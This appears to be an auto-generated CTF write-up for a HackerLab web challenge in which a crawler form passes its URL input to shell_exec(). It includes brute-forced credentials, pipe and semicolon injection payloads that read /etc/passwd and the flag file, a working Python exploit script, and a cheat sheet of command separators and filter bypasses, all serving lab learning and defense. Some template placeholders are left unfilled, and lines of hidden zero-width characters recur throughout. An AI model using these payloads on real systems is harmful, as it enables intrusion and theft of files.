← Back to Writeups
HTBN/AWeb

Crawler

XESXOR8/23/20265 min read
#web#htb#n/a

Crawler

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-04 | Status: Solved Techniques: Credential brute-forcing (admin:qqq111), Command Injection via unsanitized shell_exec() input, Filesystem enumeration, Pipe (|) and semicolon (;) injection

Summary

Web application with a "crawler" function for scanning URLs.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackerlab | ID: 20260104_hackerlab_crawler
  • Tags: command_injection, rce, php, apache, unsanitized_input, semicolon_injection, shell_exec, credential_bruteforce, web_crawler, pipe_injection
  • Indicators: Login page requiring authentication, Web crawler/scanner functionality after login, URL input field passed to shell command, Apache + PHP backend, Output resembling command-line tool results
  • Source: 20260104_hackerlab_crawler.md

Foothold

Vulnerability / Misconfiguration

  1. Credential brute-forcing (admin:qqq111)
  2. Command Injection via unsanitized shell_exec() input
  3. Filesystem enumeration
  4. Pipe (|) and semicolon (;) injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • Credential brute-forcing (admin:qqq111)
  • Command Injection via unsanitized shell_exec() input
  • Filesystem enumeration
  • Pipe (|) and semicolon (;) injection
  • Tags: command_injection, rce, php, apache, unsanitized_input, semicolon_injection, shell_exec, credential_bruteforce, web_crawler, pipe_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Тайный портал, обладающий умением извлекать информацию из разных источников, с лёгкостью преодолевает все барьеры, но его небрежность и стремление к опасным приключениям могут закончиться трагедией

Web application with a "crawler" function for scanning URLs.

Analysis

Stage 1: Reconnaissance

Initial reconnaissance revealed:

  • Apache + PHP backend
  • Login page at /login.php
  • Authentication required to access functionality

Stage 2: Credential Brute-forcing

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Credentials obtained via brute-force:

admin:qqq111

Stage 3: Functionality Analysis

After authentication, found a "Crawler" form at /index.php:

  • URL input field
  • Functionality mimics a web crawler/scanner (like WhatWeb)
  • Output contains information about the target URL

Stage 4: Vulnerability Discovery

Command Injection vulnerability - URL parameter is passed directly to shell_exec():

$url = $_POST['url'];
$output = shell_exec("echo $url [301 Moved Permanently] HTML5...");

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

User input is not sanitized before being passed to the shell command.

Solution

Testing Command Injection

# Test with pipe
| cat /etc/passwd

# Test with semicolon
; ls -la /

Both variants work!

Filesystem Enumeration

# Finding the flag
| ls -la /var/www/

Found file /var/www/fl4g.txt

Getting the Flag

| cat /var/www/fl4g.txt

Working Exploit

#!/usr/bin/env python3
"""
Crawler - Command Injection Exploit
hackerlab CTF
"""

import requests

TARGET = "http://62.173.140.174:16053"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Create session
session = requests.Session()

# Authentication
login_data = {
    "username": "admin",
    "password": "qqq111"
}
session.post(f"{TARGET}/login.php", data=login_data)

# Command Injection
payload = "| cat /var/www/fl4g.txt"
response = session.post(f"{TARGET}/index.php", data={"url": payload})

print(response.text)

Defense

  1. Never pass user input to shell_exec()/system()/exec()
  2. Use escapeshellarg() and escapeshellcmd() for sanitization
  3. Use whitelist of allowed characters
  4. Use HTTP request libraries instead of CLI tools (curl_exec in PHP)
  5. Run web application with minimal privileges ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Useful Commands for Command Injection

# Command separators
| command      # pipe - executes command, passes output
; command      # semicolon - executes command after
& command      # background - executes in parallel
&& command     # AND - executes if previous succeeds
|| command     # OR - executes if previous fails
`command`      # backticks - command substitution
$(command)     # command substitution

# Filter bypass
c'a't /etc/passwd     # quotes inside command
c"a"t /etc/passwd     # double quotes
c\at /etc/passwd      # backslash
/bin/cat /etc/passwd  # full path

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Conclusions

  • Flag REDACTED = "Insecure crawling detected"
  • Classic Command Injection vulnerability via unsafe use of shell_exec()
  • Task description ("carelessness", "dangerous adventures", "tragedy") hinted at RCE

Lessons Learned

What Went Wrong

  1. Login brute-force — started with a small password list, wasted time on SQLi instead of expanding wordlist
  2. Ignoring the description — description directly pointed to crawler + "carelessness" = Command Injection
  3. Large requests without timeouts — brute-force script hung for 5 minutes
  4. Premature surrender — gave up after basic brute-force failed ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Improvements for Future Tasks

  1. Read description 3 times and highlight keywords:
  • "crawler/fetch/url" → SSRF, Command Injection
  • "carelessness/danger" → input handling vulnerability
  • "extract information" → LFI, SSRF, RCE
  1. Brute-force — immediately use proper wordlists:
   xato-net-10-million-usernames-1000.txt
   rockyou-top-1000.txt
   username=password (common pattern)
  1. Batching and timeouts:
   for batch in chunks(wordlist, 50):
       test_batch(batch)
       print(f"Progress: {i}/{total}")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  1. Prioritize attacks based on task description:

    KeywordsPriority Attacks
    crawler, fetch, urlSSRF, Command Injection
    login, authSQLi, brute-force
    upload, fileFile upload, LFI
    admin, panelIDOR, privilege escalation
  2. Don't give up after initial failures:

  • If 50 passwords didn't work → try 1000
  • If SQLi doesn't work → move to other vectors
  • Complex tasks require 10-20 different approaches

Checklist for Web Tasks with Login

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

□ Read description, highlight keywords
□ Try standard creds (admin:admin, test:test)
□ Try basic SQLi payloads
□ If not working — brute-force with xato-1000
□ After login — look for functionality from description
□ Test input for injection (SQL, Command, SSTI)
□ Check page source for comments

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR